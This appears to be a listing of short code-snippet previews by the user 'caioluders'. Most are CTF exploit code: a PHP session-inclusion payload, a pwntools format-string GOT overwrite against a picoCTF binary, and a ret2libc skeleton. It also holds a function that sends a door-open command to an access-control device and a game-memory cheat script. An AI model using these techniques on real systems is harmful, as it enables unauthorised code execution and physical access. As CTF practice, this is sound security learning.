caioluders

payload :
%!/var/lib/php/sessions/sess_t4655hebsafr291praeif7gih2 f

.--------------------------------------------------------------------------------------------f

/var/lib/php/sessions/sess_t4655hebsafr291praeif7gih2 :
flag|s:71:"CTF-BR{1s_th1s_4_0day?1_r34lly_d0nt_know.Pl34s3_c0m3_pl4y_Pwn2Win_CTF!}";name|s:5:"'$.-)";

caioluders

from pwn import *

#p = process("./echoback")
p = remote("2018shell.picoctf.com",37402)
e = ELF("./echoback")

print p.recv(1024)

payload = fmtstr_payload(7, {e.got["puts"]:0x080485ab,e.got["printf"]:e.plt["system"]} , write_size='byte')
print len(payload)

caioluders

2to3-2.7
X11
[
ab
aclocal
aclocal-1.15
addpart
addr2line
appres
apropos

caioluders

cat=1;food=1;exit=1;{cat,food};{exit,1}
1//1;print(open("food","r").read());"""
var fs = require('fs');fs.readFile('food','utf8',function(err,contents){
console.log(contents)})//"""

caioluders

from pwn import *

p = process("./examine32")
system = 0xf7e19e70
exit = 0xf7e0cf50
bash = 0xf7f39fcc
offset = ???

exploit = "A"*offset+p32(system)+p32(exit)+p32(bash)+"\xff"

caioluders

int main(int argc, char *argv[]) {
	int i;
	char s[MAX_CMD_LINE], c;

	memset(s, 0, MAX_CMD_LINE);

	// Loop until Ctrl+C is pressed
	for (i=0; ; i++) {
		if ((c = getchar()) == EOF) // End Of File reached when reading from a pipe
			break;

caioluders

Keybase proof

I hereby claim:

• I am caioluders on github.
• I am caioluders (https://keybase.io/caioluders) on keybase.
• I have a public key whose fingerprint is E36E 7964 0CDF AA23 08E8 CBBB 3B14 CD07 C1DC A57D

To claim this, I am signing this object:

caioluders

def zk_open_the_fucking_door(self,cmd,ss):  
    command = cmd
    command_string = ss
    chksum = 0
    session_id = self.session_id
    reply_id = unpack('HHHH', self.data_recv[:8])[3]

    buf = self.createHeader(command, chksum, session_id,
        reply_id, command_string)
    self.zkclient.sendto(buf, self.address)

caioluders

from bitslicer import VirtualMemoryError, DebuggerError  
import keycode, keymod

class Script(object):  
    def __init__(self):
        self.currentLifeAddress = None # variable to store where the enemy's life address is
        debug.registerHotkey(keycode.A, keymod.CONTROL, self.killShip) # Add a hotkey to call the self.killShip function
        debug.addBreakpoint(vm.base() + 0xDC642, self.shipDamaged) # Make a breakpoint every time that mov [rdi+0x70], eax is reached and call self.shipDamaged , vm.base() is the pagination of the memory , this changes every time it loads

    def killShip(self,hotkeyID) :

caioluders

<?php print "<?php phpinfo();?>" ;?>